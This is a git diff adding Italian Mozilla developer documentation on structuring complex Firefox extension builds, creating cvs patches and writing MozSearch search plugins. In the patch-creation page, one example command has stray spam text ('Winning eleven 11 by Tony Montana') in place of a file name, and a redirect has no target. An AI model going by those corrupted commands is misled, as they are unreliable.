+<p>Dopo aver lanciato ancora <code>make</code>, si dovrebbe veder apparire una nuova sottodirectory <code>chrome</code> nella propria estensione (<code>/mozilla/$(MOZ_OBJDIR)/dist/bin/extensions/<a class="link-mailto" href="mailto:myextension@mycompany.com" rel="freelink">myextension@mycompany.com</a>/</code>). Da notare che la directory <code>chrome</code> contiene un file JAR (ad esempio ZIP) con tutti i file chrome elencati in <code>jar.mn</code> cos'ì come una completa struttura delle directory alla strgua di quella presente nel file JAR. La struttura, comunque, è vuota. Perché? Non lo so. Non preoccupatevi di questo, i file contenuti nel JAR gli unici che vengono utilizzati.</p>
+
+<h4 id="Complicare_il_tutto" name="Complicare_il_tutto">Complicare il tutto</h4>
+
+<p>Se si sta sviluppando una estensione veramente complessa con molti componenti <a href="it/XPCOM">XPCOM</a>, probabilmente si vorrà dividere il proprio codice in moduli più piccoli.</p>
+
+<h5 id="Estensioni_un_po.27_complicate" name="Estensioni_un_po.27_complicate">Estensioni un po' complicate</h5>
+
+<p>Per una estensione moderatamente complicata, probabilmente è sufficiente dividere il codice in un livello singolo di moduli. Assumiamo che abbiate un modulo <code>base/</code> che definisce un insieme base di componenti XPCOM ed un modulo <code>advanced/</code> che definisce alcuni chrome così come altri componenti che utilizzano quelli di base. La struttura completa delle directory somiglierà a questa:</p>
+
+<ul>
+ <li>myextension
+  <ul>
+   <li>base
+    <ul>
+     <li>public</li>
+     <li>src</li>
+    </ul>
+   </li>
+   <li>advanced
+    <ul>
+     <li>content</li>
+     <li>locale
+      <ul>
+       <li>en-US</li>
+       <li>...other locales...</li>
+      </ul>
+     </li>
+     <li>public</li>
+     <li>skin
+      <ul>
+       <li>classic</li>
+       <li>...other skins...</li>
+      </ul>
+     </li>
+     <li>src</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p>Oltre a ciò, non cambia molto altro. I makefile in <code>base/</code> e <code>advanced/</code> dovrebbero essere più o meno simili al makefile originale nella directory radice, ricordando di cambiare la variabile <strong>DEPTH</strong> poiché questi sono stati spostati di un livello di directory rispetto alla radice di Mozilla.</p>
+
+<p>Va inoltre rimossa la variabile <strong>DIST_FILES</strong> poiché il suo valore viene preso dal makefile di livello più alto. Ogni makefile che genera qualcosa dovrebbe definire la variabile <strong>XPI_NAME</strong> per assicurarsi che i file generati finiscano nella directory della propria estensione e non nella directory globale <code>components/</code>. Basta comunuque definire la variabile in ogni makefile per stare tranquilli. Si può usare lo stesso valore di <strong>MODULE</strong> sia in <code>base/</code> che in <code>advanced/</code> di modo che tutti i file<em>include</em> vadano nella stessa directory, assicurandosi però di non usare lo stesso stesso valore <strong>XPIDL_MODULE</strong> nelle due directory <code>public/</code>, o una delle librerie di tipo componenti (ad es. file XPT) sovrascriverà l'altra e si scatenerà l'inferno.</p>
+
+<p>Ogni modulo deve inoltre avere un valore differente per la variabile <strong>LIBRARY_NAME</strong>. Questo è il nome della libreria dinamica generata, per cui se devono essere richiamate le librerie "myBase" e "myAdvanced", useremo i nomi con estensione <code>myBase.dll</code> e <code>myAdvanced.dll</code> (almeno in Windows). Ognuno dei due moduli andrà ad avere un file C++ separato per la registrazione dei componenti. Per questo motivo ci saranno due file simili a <code>myExtension.cpp</code> visto nell'esempio orginale, diciamo <code>Base.cpp</code> e <code>Advanced.cpp</code>. Infine, ogni modulo avrà ovviamente il proprio <code>jar.mn</code>, anche se essi possono fare riferimento allo stesso nome di file e pacchetto JAR, se si vuole che tutti i file chrome siano organizzati in un singolo pacchetto/file JAR. L'unico file che resta immutato è <code>install.rdf</code>, che ancora esiste unicamente nella directory radice dell'estensione.</p>
+
+<p>Il makefile di livello più alto sarà ora simile a questo:</p>
+
+<pre>DEPTH		= ../..
+topsrcdir	= @top_srcdir@
+srcdir		= @srcdir@
+VPATH		= @srcdir@
+
+include $(DEPTH)/config/autoconf.mk
+
+MODULE = myextension
+
+DIRS		= base advanced
+
+XPI_NAME               = myextension
+INSTALL_EXTENSION_ID   = myextension@mycompany.com
+XPI_PKGNAME		= myextension
+
+DIST_FILES = install.rdf
+
+include $(topsrcdir)/config/rules.mk
+</pre>
+
+<h5 id="Estensioni_veramente_complicate" name="Estensioni_veramente_complicate">Estensioni veramente complicate</h5>
+
+<p>Ad un certo momento, anche un singolo modulo potrebbe crescere al punto da dover essere diviso in sottomoduli. La differenza tra avere moduli separati ed avere un modulo singolo con sottomoduli separati è che i sottomoduli condividono lo stesso file per la registrazione dei componenti (il famoso file <code>myExtension.cpp</code>), e se compilato creano una unica libreria dinamica. La decisione di dividere un modulo in sotomoduli riguarda solo l'organizzazione del codice; non avrà ripercussioni sul prodotto finale.</p>
+
+<p>Per dividere un modulo in sottomoduli, va prima creata una sottodirectory per ognuno. Dopodiché va creata una directory <code>build/</code>. Ogni sottomodulo sarà configurato per creare una libreria static, che la directory build riunirà per creare una unica libreria dinamica dei componenti. Confusi? Ecco un esempio, che mostra il ramo <code>advanced/</code> della directory <code>myextension/</code>:</p>
+
+<ul>
+ <li>advanced
+  <ul>
+   <li>build</li>
+   <li>intricate
+    <ul>
+     <li>public</li>
+     <li>src</li>
+    </ul>
+   </li>
+   <li>multifarious
+    <ul>
+     <li>public</li>
+     <li>src</li>
+    </ul>
+   </li>
+   <li>content</li>
+   <li>locale
+    <ul>
+     <li>en-US</li>
+     <li>...other locales...</li>
+    </ul>
+   </li>
+   <li>skin
+    <ul>
+     <li>classic</li>
+     <li>...other skins...</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p>Come si vede, abbiamo diviso <code>advanced/</code> in due sottomoduli: <code>intricate/</code> e <code>multifarious/</code>, ed abbiamo aggiunto una sottodirectory <code>build/</code>. Abbiamo lasciato le directory chrome direttamente in <code>advanced/</code>, dato che non appartengono a nessun sottomodulo in particolare. QUesto vuol dire che il file <code>jar.mn</code> sarà nello stesso posto.</p>
+
+<p>I makefile di <code>intricate/</code> and <code>multifarious/</code> somiglieranno molto al makefile originale di <code>advanced/</code> anche se devono essere un po' manipolati. COme al solito, va aggiustato il valore della variabile <strong>DEPTH</strong> dato che i makefile sono ora più in profondità nella struttura delle directory. Andrebbe inoltre cambiato il valore di <strong>LIBRARY_NAME</strong> per indicare che si sta generando una libreria static per ogni sottomodulo. Per convenzione viene usato il suffisso "_s" a questo scopo . Chiamiamo quindi le librerie "myIntricate_s" e "myMultifarious_s". Infine, definiamo la variabile <strong>FORCE_STATIC_LIB</strong>, ottenendo un makefile il cui inizio è simile a questo:</p>
+
+<pre>DEPTH		= ../../../../..
+topsrcdir	= @top_srcdir@
+srcdir		= @srcdir@
+VPATH		= @srcdir@
+
+include $(DEPTH)/config/autoconf.mk
+
+MODULE = myextension
+LIBRARY_NAME = myIntricate_s
+FORCE_STATIC_LIB = 1
+
+XPI_NAME = myextension
+
+...altre cose qui...
+</pre>
+
+<p>Il makefile di <code>build</code> compone insieme tutte le librerie statiche generate dai sottomoduli e crea una libreria (dinamica)dei componenti:</p>
+
+<pre>DEPTH		= ../../../..
+topsrcdir	= @top_srcdir@
+srcdir		= @srcdir@
+VPATH		= @srcdir@
+
+include $(DEPTH)/config/autoconf.mk
+
+IS_COMPONENT = 1
+MODULE = myextension
+LIBRARY_NAME = myAdvanced
+
+XPI_NAME = myextension
+
+DEFINES += XPCOM_GLUE
+
+SHARED_LIBRARY_LIBS = \
+		$(DIST)/lib/$(LIB_PREFIX)myIntricate_s.$(LIB_SUFFIX) \
+		$(DIST)/lib/$(LIB_PREFIX)myMultifarious_s.$(LIB_SUFFIX) \
+                $(DIST)/lib/$(LIB_PREFIX)xpcomglue_s.$(LIB_SUFFIX) \
+                $(DIST)/lib/$(LIB_PREFIX)xpcom.$(LIB_SUFFIX) \
+                $(DIST)/lib/$(LIB_PREFIX)nspr4.$(LIB_SUFFIX) \
+                $(DIST)/lib/$(LIB_PREFIX)plds4.$(LIB_SUFFIX) \
+                $(DIST)/lib/$(LIB_PREFIX)plc4.$(LIB_SUFFIX) \
+		$(NULL)
+
+REQUIRES	= \
+		xpcom \
+		string \
+		$(NULL)
+
+CPPSRCS		= \
+		Advanced.cpp \
+		$(NULL)
+
+include $(topsrcdir)/config/rules.mk
+
+LOCAL_INCLUDES += \
+        -I$(srcdir)/../intricate/src \
+        -I$(srcdir)/../multifarious/src \
+        $(NULL)
+</pre>
+
+<p>Il makefile nella directory <code>advanced/</code> dovrebbe elencare le directory <code>intricate/</code>, <code>multifarious/</code> e <code>build/</code> nel calore della sua variabile <strong>DIRS</strong>. CIs i deve assicurare che <code>build/</code> sia elencato come ultimo, dato che non può essere creata la libreria di componenti fino a quando gli altri makefile non hanno terminato.</p>
+
+<h3 id="Altri_argomenti" name="Altri_argomenti">Altri argomenti</h3>
+
+<h4 id="Aggiungere_file_di_dati_alle_proprie_estensioni" name="Aggiungere_file_di_dati_alle_proprie_estensioni">Aggiungere file di dati alle proprie estensioni</h4>
+
+<p>In alcuni casi, si potrebbe voler includere file aggiuntivi nella propria estensione che non appartengono alla sottodirectory <code>chrome/</code>. Alcuni esempi potrebbero essere file di database o schemas XML. A questo proposito è possibile aggiungere un passo all'interno del makefile, per copiare i file dall'albero sorgente alla directory di destinazione dell'estensione.</p>
+
+<h5 id="Copiare_file_di_dati_nella_directory_di_destinazione" name="Copiare_file_di_dati_nella_directory_di_destinazione">Copiare file di dati nella directory di destinazione</h5>
+
+<p>Diciamo che avete alcuni file di dati contenti informazioni statistiche che volete include nella vostra estensione e rendere disponibile ai vostri componenti. Avete inserito questi file, con estensione .TXT, in una sottodirectory <code>stats/</code> nella directory sorgente dell'estensione. La seguente regola di makefile può essere usata per copiare tali file nella directory di destinazione finale dell'estensione:</p>
+
+<pre>libs::
+	if test ! -d $(FINAL_TARGET)/stats; then \
+		$(NSINSTALL) -D $(FINAL_TARGET)/stats; \
+	fi
+	$(INSTALL) $(srcdir)/*.txt $(FINAL_TARGET)/stats
+</pre>
+
+<h5 id="Accedere_ai_file_di_dati_tramite_Componenti" name="Accedere_ai_file_di_dati_tramite_Componenti">Accedere ai file di dati tramite Componenti</h5>
+
+<p>Il trucco per accedere ai propri file di dati è immaginare dove si trova la home directory della propria estensione. Alcune voci sostengono che in un prossimo futuro, questo sarà possibile attraverso l'interfaccia <code><a href="it/NsIExtensionManager">nsIExtensionManager</a></code> o qualcosa di simile. Nel frattempo, c'è un hack semplice ed affidabile che può essere usato per raggiungere lo scopo. Nell'implementazione di ogni compoente JavaScript XPCOM, è presente uno speciale simbolo <strong>__LOCATION__</strong> (due caratteri di underscore all'inizio e alla fine del nome) che punta al file di implementazione del componente. Perciò si può scrivere un semplice componente che deduce la directory radice della propria estensione estrapolandola da lì.</p>
+
+<p><a class="external" href="http://www.builderau.com.au/program/soa/Creating_XPCOM_components_with_JavaScript/0,39024614,39206503,00.htm">Questo articolo</a> spiega come creare un componente XPCOM in JavaScript. Si avrà bisogno di un file IDL per una interfaccia simile a questa:</p>
+
+<pre>interface myILocation : nsISupports
+{
+    readonly attribute nsIFile locationFile;
+};
+</pre>
+
+<p>Il file IDL va posizionato nella directory <code>public/</code> del progetto o sottoprogetto. Nella directory <code>src/</code>, va inserito il file JavaScript che implementa il componente. L'implementazione del componente includerà i metodi per ottenere il percorso o il file per la home directory dell'estensione:</p>
+
+<pre>myLocation.prototype =
+{
+  QueryInterface: function(iid)
+  {
+    if (iid.equals(nsISupports))
+      return this;
+    if (iid.equals(myILocation))
+      return this;
+
+    Components.returnCode = Components.results.NS_ERROR_NO_INTERFACE;
+    return null;
+  },
+
+  get locationFile()
+  {
+     return __LOCATION__.parent.parent;
+  }
+}
+</pre>
+
+<p>Questo metodo assume che il componente risieda in una sottodirectory di quella dell'estensione (per convenzione, questa directory viene chiamata <code>components/</code>). La proprietà <code>parent</code> di <strong>__LOCATION__</strong> ritorna <code>components/</code>, ed il suo valore <code>parent</code> è la home directory dell'estensione.</p>
+
+<p>L'ultimo passo è la modifica del makefile della directory sorgente dove si ha inserito il proprio file JavaScript di modo che venga copiato nel luogo appropriato all'interno dell'estensione:</p>
+
+<pre>libs::
+	$(INSTALL) $(srcdir)/*.js $(FINAL_TARGET)/components
+</pre>
+
+<p>Ora è possibile istanziare il componente ed usare la proprietà <code>locationFile</code> per ottenere una interfaccia <code><a href="it/NsIFile">nsIFile</a></code> che punti alla home directory dell'estensione.</p>
+
+<h4 id="Usare_librerie_di_terze_parti" name="Usare_librerie_di_terze_parti">Usare librerie di terze parti</h4>
+
+<p>Per estensioni più sofosticate, si potrebbe voler integrare librerie di terze parti che forniscono funzionalità specializzare per la connettività al database, processing di immagini, rete e simili. Se si vuole che la propria estensione funzioni su tutte le piattaforme Firefox, è necessario avere il codice sorgente della libreria in questione, quindi assumo che questo sia disponibile.</p>
+
+<p>l'approccio migliore nell'ottica del ciclo di sviluppo è creare un makefile come quello di Mozilla per la libreria. Questa maniera funziona bene per librerie che hanno un processo di make lineare, senza necessità di configurazioni eccessive. Un buon esempio di questo è la libreria SQLite inclusa nell'albero di build di Mozilla in <code>db/sqlite</code>. Adattando il makefile in quetso modo, la libreria è creata come parte del processo standard di build di Mozilla, il che elimina eventuali altri passi di compilazione. Il difetto di questo procedimento è che il makefile va aggiornato ogni qualvolta viene rilasciata una nuova versione della libreria.</p>
+
+<p>Per librerie che hanno un complesso procedimento di configurazione, usano un compilatore non standard o altre caratteristiche speciali. potrebbe non essere praticabile la creazione di un Makefile compatibile con Mozilla. In questo caso, raccomanderei di inserire l'intera distribuzione della libreria all'interno del progetto o del sottoprogetto che la usa. Per cui se la libreria <code>acmelib</code> viene usata all'interno del sottoprogetto <code>multifarious/</code> visto nell'esempio sopra, dovrebbe essere inserita in una sottodirectory di quella del sottoprogetto (allo stesso livello di <code>public/</code> e <code>src/</code>).</p>
+
+<p>Ovviamente, questo significa che si dovrà compilare manualmente <code>acmelib</code> su tutte le piattaforme prima di lanciare il build di Mozilla. Ma alla fine ci si potrà riferire ai file include ed importare le librerie dal proprio componente usando percorsi dei path relativi.</p>
+
+<h4 id="Build_per_pi.C3.B9_piattaforme" name="Build_per_pi.C3.B9_piattaforme">Build per più piattaforme</h4>
+
+<p>TODO</p>
+
+<div class="originaldocinfo">
+<h3 id="Informazioni_riguardo_il_documento_originale" name="Informazioni_riguardo_il_documento_originale">Informazioni riguardo il documento originale</h3>
+
+<ul>
+ <li>Autore: Matthew Gertner - July 26, 2005.</li>
+ <li>Permesso accordato a migrare nel Gennaio 2006, incluso il permesso alla nuova licenza sotto il CC:By-SA.</li>
+ <li>Fonte originale: <a class="external" href="http://www.allpeers.com/blog/creating-complex-firefox-extensions/" rel="freelink">http://www.allpeers.com/blog/creatin...ox-extensions</a></li>
+</ul>
+</div>
diff --git a/files/it/creare_patch/index.html b/files/it/creare_patch/index.html
new file mode 100644
index 0000000000..3498767037
--- /dev/null
+++ b/files/it/creare_patch/index.html
@@ -0,0 +1,37 @@
+---
+title: Creare patch
+slug: Creare_patch
+translation_of: Mercurial/Using_Mercurial
+---
+<p>Dopo aver avuto <a href="it/Accesso_al_codice_di_Mozilla_via_CVS">accesso al codice</a>, dopo aver apportato ad esso delle modifiche, una volta <a href="it/Compilare_e_installare">costruito</a> e testato, può darsi che si desideri che queste modifiche vengano <a class="external" href="http://www.mozilla.org/hacking/life-cycle.html">riviste e accettate</a>. Per far ciò, occorre creare una lista dei file che sono stati modificati, che chiameremo
+  <i>
+    patch</i>
+  o
+  <i>
+    diff file</i>
+  .</p>
+<p>Creare il diff di un singolo file == Per creare il diff di un singolo file locale rispetto al file attualmente nel repository, si utilizzi:</p>
+<pre class="eval">$ cvs diff -u8p Winning eleven 11 by Tony Montana
+</pre>
+<p>Questo comando crea un diff nel cosiddetto formato 'unificato' (opzione &lt;tt&gt;-u&lt;/tt&gt;), con 8 righe di contesto. Il diff è inviato per default allo stdout. Per ridirigere l'output su un file, si utilizzi qualcosa come:</p>
+<pre class="eval">$ cvs diff -u8p Winning eleven 11 by Tony Montana &gt;
+</pre>
+<h3 id="Creare_un_diff_su_pi.C3.B9_file" name="Creare_un_diff_su_pi.C3.B9_file">Creare un diff su più file</h3>
+<p>Se, invece di utilizzare un normale file per NOMEFILE, si fornisce una directory, questa directory e tutte le sue sottodirectory verranno lette in modo ricorsivo. Per esempio</p>
+<pre class="eval">$ cvs diff -u8p . &gt; FILE_DI_OUTPUT
+</pre>
+<p>compara tutti i file nella directory corrente e nelle sue subdirectory con tutte le versioni nel repository, e scrive le differenze combinate in un file chiamato FILE_DI_OUTPUT, utilizzando 8 righe di contesto.</p>
+<p>Vi dovrebbe essere sufficiente contesto nella patch perchè venga compreso senza aprire il file sorgente. Le linee guida di default utilizzano 8 righe di contesto; se non sono sufficienti, verrà richiesto di rendere la patch comprensibile, si rimpiazzi 8 con un numero più elevato. Inoltre si noti che più contesto si include, più probabilità vi sono che il file venga incluso, se esso differisce pesantemente dal sorgente originale.</p>
+<h3 id="Includere_i_nuovi_file_in_una_patch" name="Includere_i_nuovi_file_in_una_patch">Includere i nuovi file in una patch</h3>
+<p>Per includere i nuovi file in una patch, si utilizzi l'opzione &lt;tt&gt;-N&lt;/tt&gt;:</p>
+<pre class="eval">$ cvs diff -u8pN . &gt; FILE_DI_OUTPUT
+</pre>
+<p>Un problema comune è che
+  <i>
+    cvs diff'</i>
+  non include i nuovi file su cui non è stato eseguito un <b>cvs add</b>, e questo comando richiede accesso al repository.</p>
+<p>La soluzione è utilizzare la utility <b>cvsdo</b> (<a class="external" href="http://viper.haque.net/~timeless/redbean/">), che modifica &lt;tt&gt;CVS/Entries&lt;/tt&gt; per far credere al cvs che il file sia stato aggiunto al repository: </a></p>
+<pre class="eval"><a class="external" href="http://viper.haque.net/~timeless/redbean/">$ cvsdo add NUOVOFILE
+$ cvs diff -u8pN NEWFILE &gt; FILE_DI_OUTPUT
+</a></pre>
+<p><a class="external" href="http://viper.haque.net/~timeless/redbean/">Si noti che questo trucco non funziona per le nuove directory; per queste, <code>cvs add</code> deve realmente modificare il repository immediatamente, il chè richiede un accesso in scrittura. </a></p>
diff --git a/files/it/creare_plugin_mozsearch/index.html b/files/it/creare_plugin_mozsearch/index.html
new file mode 100644
index 0000000000..fb3236733b
--- /dev/null
+++ b/files/it/creare_plugin_mozsearch/index.html
@@ -0,0 +1,190 @@
+---
+title: Creare Plugin MozSearch
+slug: Creare_Plugin_MozSearch
+tags:
+  - Plugin_di_ricerca
+translation_of: Mozilla/Creating_MozSearch_plugins
+---
+<p>Firefox 2 supporta MozSearch, una versione semplificata del formato OpenSearch di A9 per creare i plugin di ricerca. Anche i plugin OpenSearch sono supportati; vedi il sito di <a class="external" href="http://opensearch.a9.com/">OpenSearch</a> per ulteriori dettagli.</p>
+
+<p>Un plugin MozSearch è un file XML che descrive il motore di ricerca, il suo URL e i parametri che occorre passare a questo URL.</p>
+
+<div class="note"><strong>Nota:</strong> MozSearch è un formato specifico di Firefox; se si desidera scrivere un plugin che sia compatibile con altri browser, occorre utilizzare il sistema OpenSearch. Fortunatamente i due formati sono molto simili ed è facile passare da uno all'altro a seconda delle proprie necessità.</div>
+
+<h2 id="Il_file_di_plugin" name="Il_file_di_plugin">Il file di plugin</h2>
+
+<p>Il file XMl che descrive un motore di ricerca è abbastanza semplice e segue il template basilare sotto riportato. Le sezioni in corsivo devono essere personalizzate basandosi sui bisogni dello specifico plugin di ricerca che si sta scrivendo.</p>
+
+<pre class="eval">&lt;SearchPlugin xmlns="<span class="nowiki">http://www.mozilla.org/2006/browser/search/</span>"&gt;
+&lt;ShortName&gt;<em>nomeMotore</em>&lt;/ShortName&gt;
+&lt;Description&gt;<em>descrizioneMotore</em>&lt;/Description&gt;
+&lt;InputEncoding&gt;<em>codificaInput</em>&lt;/InputEncoding&gt;
+&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,<em>immagine</em>&lt;/image&gt;
+&lt;Url type="text/html" method="<em>metodo</em>" template="<em>URLdiRicerca</em>"&gt;
+  &lt;Param name="<em>nomeParametro1</em>" value="<em>valoreParametro1</em>"/&gt;
+  ...
+  &lt;Param name="<em>nomeParametroN</em>" value="<em>valoreParametroN</em>"/&gt;
+&lt;/Url&gt;
+&lt;Url type="application/x-suggestions+json" template="<em>suggerimentoURL</em>"/&gt;
+&lt;SearchForm&gt;<em>cercaDaURL</em>&lt;/SearchForm&gt;
+&lt;/SearchPlugin&gt;
+</pre>
+
+<dl>
+ <dt><strong>nomeMotore</strong></dt>
+ <dd>Un nome in breve per il motore di ricerca.</dd>
+</dl>
+
+<dl>
+ <dt><strong>descrizioneMotore</strong></dt>
+ <dd>Una breve descrizione del motore di ricerca.</dd>
+</dl>
+
+<dl>
+ <dt><strong>codificaInput</strong></dt>
+ <dd>La codifica utilizzata per i dati in input.</dd>
+</dl>
+
+<dl>
+ <dt><strong>immagine</strong></dt>
+ <dd>Un'icona a 64 bit di 16x16 pixel che rappresenta il logo del motore di ricerca. Un tool utile per costruire i dati da immettere qui si trova al seguente URL: <a class="external" href="http://software.hixie.ch/utilities/cgi/data/data">The data: URI kitchen</a>.</dd>
+</dl>
+
+<dl>
+ <dt><strong>URLdiRicerca</strong></dt>
+ <dd>Descrive l'URL o gli URL da usare per la ricerca. L'attributo <code>metodo</code> indica se si debba utilizzare il metodo di ricerca <code>GET</code> o <code>POST</code>. L'attributo <code>template</code> indica l'URL di base per l'interrogazione del motore di ricerca.</dd>
+</dl>
+
+<dl>
+ <dd>E' possibile specificare due tipi di URL:</dd>
+</dl>
+
+<ul>
+ <li><code>type="text/html"</code> è utilizzato per indicare l'URL dell'interrogazione effettiva.</li>
+ <li><code>type="application/x-suggestions+json"</code> è utilizzato per indicare l'URL da usare per i suggerimenti sulla ricerca..</li>
+</ul>
+
+<dl>
+ <dd>Per entrambi i tipi di URL è possibile utilizzare <code>{searchTerms}</code> per sostituire i termini di ricerca inseriti dall'utente nella barra di ricerca.</dd>
+</dl>
+
+<dl>
+ <dd>Per i suggerimenti sulla ricerca, l'URL del template specificato viene utilizzato per recuperare una lista di suggerimenti nel formato JavaScript Object Notation (JSON). Per ulteriori dettagli su come implementare il supporto ai suggerimenti di ricerca su un server, si veda <a href="it/Supportare_i_suggerimenti_nei_plugin_di_ricerca">Supportare i suggerimenti nei plugin di ricerca</a>.</dd>
+</dl>
+
+<p><img alt="Image:SearchSuggestionSample.png"></p>
+
+<dl>
+ <dt><strong>Parametri</strong></dt>
+ <dd>I parametri che occorre passare insieme all'interrogazione, come coppie chiave/valore. Quando si specifica i valori, è possibile utilizzare <code>{searchTerms}</code> per inserire i termini di ricerca inseriti dall'utente nella barra di ricerca.</dd>
+</dl>
+
+<dl>
+ <dt><strong>Form di ricerca</strong></dt>
+ <dd>L'URL da richiedere per aprire la pagina di ricerca nel sito per il quale il plugin di ricerca è stato progettato. Questo fornisce un modo per Firefox per permettere all'utente di visitare il direttamente il sito.</dd>
+</dl>
+
+<h2 id="Ricerca_automatica_dei_plugin" name="Ricerca_automatica_dei_plugin">Ricerca automatica dei plugin</h2>
+
+<p>Un sito web che offre un plugin di ricerca può pubblicizzarlo in modo che gli utenti di Firefox possano facilmente scaricarlo e installarlo.</p>
+
+<p>Per supportare la ricerca automatica dei plugin, occorre semplicemente aggiungere una linea alla sezione <code>&lt;HEAD&gt;</code> della pagina web:</p>
+
+<pre class="eval">&lt;link rel="search" type="application/opensearchdescription+xml" title="<em>nomeRicerca</em>" href="<em>urlPlugin</em>"&gt;
+</pre>
+
+<p>Gli elementi da sostituire sono spiegati di seguito:</p>
+
+<dl>
+ <dt><strong>nomeRicerca</strong></dt>
+ <dd>Il nome della ricerca, come "Cerca in MDC" o "Cerca in Yahoo!".</dd>
+</dl>
+
+<dl>
+ <dt><strong>urlPlugin</strong></dt>
+ <dd>L'URL del plugin di ricerca in XML, dal quale il browser può scaricarlo.</dd>
+</dl>
+
+<p>Se il sito offre più plugin di ricerca, è possibile supportare la ricerca automatica per tutti quanti. Un esempio:</p>
+
+<pre class="eval">&lt;link rel="search" type="application/opensearchdescription+xml" title="MioSito: cerca per autore" href="<a class="external" href="http://www.miosito.com/per_autore.xml" rel="freelink">http://www.miosito.com/per_autore.xml</a>"&gt;
+&lt;link rel="search" type="application/opensearchdescription+xml" title="Miosito: cerca per titolo" href="<a class="external" href="http://www.miosito.com/per_titolo.xml" rel="freelink">http://www.miosito.com/per_titolo.xml</a>"&gt;
+</pre>
+
+<p>In questo modo, il sito può offrire entrambi i plugin di ricerca (ricerca per titolo e ricerca per autore) come entità separate.</p>
+
+<h2 id="Esempio:_cercare_in_Yahoo.21" name="Esempio:_cercare_in_Yahoo.21">Esempio: cercare in Yahoo!</h2>
+
+<p>Il seguente XML è il plugin di ricerca per Firefox 2 per le ricerche attraverso Yahoo!:</p>
+
+<pre>&lt;SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/"&gt;
+&lt;ShortName&gt;Yahoo&lt;/ShortName&gt;
+&lt;Description&gt;Cerca in Yahoo&lt;/Description&gt;
+&lt;InputEncoding&gt;UTF-8&lt;/InputEncoding&gt;
+&lt;SuggestionUrl&gt;http://ff.search.yahoo.com/gossip?output=fxjson&amp;command=&lt;/SuggestionUrl&gt;
+&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,R0lGODlhEAAQAJECAP8AAAAAAP///wAAACH5BAEAAAIALAAAAAAQABAAAAIplI+py+0NogQuyBDEnEd2kHkfFWUamEzmpZSfmaIHPHrRguUm/fT+UwAAOw==&lt;/Image&gt;
+&lt;Url type="text/html" method="GET" template="http://search.yahoo.com/search"&gt;
+  &lt;Param name="p" value="{searchTerms}"/&gt;
+  &lt;Param name="ei" value="UTF-8"/&gt;
+  &lt;Param name="fr" value="moz2"/&gt;
+&lt;/Url&gt;
+&lt;SearchForm&gt;http://search.yahoo.com/&lt;/SearchForm&gt;
+&lt;/SearchPlugin&gt;
+</pre>
+
+<p>Diciamo che l'utente sceglie di utilizzare Yahoo! come motore di ricerca: inserisce "mozilla" nella barra di ricerca e preme il tasto invio. Firefox utilizzerà la descrizione qui sopra per costruire il seguente URL:</p>
+
+<p><span class="nowiki">http://search.yahoo.com/search?p=mozilla&amp;ei=UTF-8&amp;fr=moz2</span></p>
+
+<p>Se l'utente clicca sull'icona nella barra di ricerca, o sceglie l'opzione "Cerca sul web" nel menu Strumenti quando la barra non è visibile, il browser lo porterà a <span class="nowiki">http://search.yahoo.com/</span>, il valore dell'elemento <code>&lt;SearchForm&gt;</code>.</p>
+
+<h2 id="Esempio:_cercare_in_MDC" name="Esempio:_cercare_in_MDC">Esempio: cercare in MDC</h2>
+
+<p>Questo plugin permette di cercare facilmente dei termini nel sito Mozilla Developer Center.</p>
+
+<pre>&lt;SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/"&gt;
+&lt;ShortName&gt;MDC&lt;/ShortName&gt;
+&lt;Description&gt;Cerca in Mozilla Developer Center&lt;/Description&gt;
+&lt;InputEncoding&gt;UTF-8&lt;/InputEncoding&gt;
+&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8%2F9hAAAABGdBTUEAAK%2FINwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHWSURBVHjaYvz%2F%2Fz8DJQAggJiQOe%2Ffv2fv7Oz8rays%2FN%2BVkfG%2FiYnJfyD%2F1%2BrVq7ffu3dPFpsBAAHEAHIBCJ85c8bN2Nj4vwsDw%2F8zQLwKiO8CcRoQu0DxqlWrdsHUwzBAAIGJmTNnPgYa9j8UqhFElwPxf2MIDeIrKSn9FwSJoRkAEEAM0DD4DzMAyPi%2FG%2BQKY4hh5WAXGf8PDQ0FGwJ22d27CjADAAIIrLmjo%2BMXA9R2kAHvGBA2wwx6B8W7od6CeQcggKCmCEL8bgwxYCbUIGTDVkHDBia%2BCuotgACCueD3TDQN75D4xmAvCoK9ARMHBzAw0AECiBHkAlC0Mdy7x9ABNA3obAZXIAa6iKEcGlMVQHwWyjYuL2d4v2cPg8vZswx7gHyAAAK7AOif7SAbOqCmn4Ha3AHFsIDtgPq%2FvLz8P4MSkJ2W9h8ggBjevXvHDo4FQUQg%2FkdypqCg4H8lUIACnQ%2FSOBMYI8bAsAJFPcj1AAEEjwVQqLpAbXmH5BJjqI0gi9DTAAgDBBCcAVLkgmQ7yKCZxpCQxqUZhAECCJ4XgMl493ug21ZD%2BaDAXH0WLM4A9MZPXJkJIIAwTAR5pQMalaCABQUULttBGCCAGCnNzgABBgAMJ5THwGvJLAAAAABJRU5ErkJggg%3D%3D&lt;/Image&gt;
+&lt;Url type="text/html" method="GET" template="http://developer.mozilla.org/en/docs/Special:Search?search={searchTerms}"/&gt;
+&lt;SearchForm&gt;http://developer.mozilla.org/en/docs/Special:Search&lt;/SearchForm&gt;
+&lt;/SearchPlugin&gt;
+</pre>
+
+<p>Si noti in questo caso che invece di utilizzare <code>&lt;Param&gt;</code> per definire i parametri del motore di ricerca, sono stati semplicemente incorporati dentro il modello di URL. Questo in effetti è il metodo preferibile quando si utilizza il metodo <code>GET</code>. <code>&lt;Param&gt;</code> dovrebbe essere utilizzato per il metodo <code>POST</code>.</p>
+
+<h2 id="Suggerimenti_per_la_risoluzione_dei_problemi" name="Suggerimenti_per_la_risoluzione_dei_problemi">Suggerimenti per la risoluzione dei problemi</h2>
+
+<p>Se c'è un errore nell'XML del plugin di ricerca, si dovrebbero incontrare degli errori mentre il plugin viene aggiunto in Firefox (Bon Echo) Alpha 3. Il messaggio d'errore però potrebbe non essere molto d'aiuto, perciò i seguenti suggerimenti potrebbero aiutare a risolvere il problema.</p>
+
+<ul>
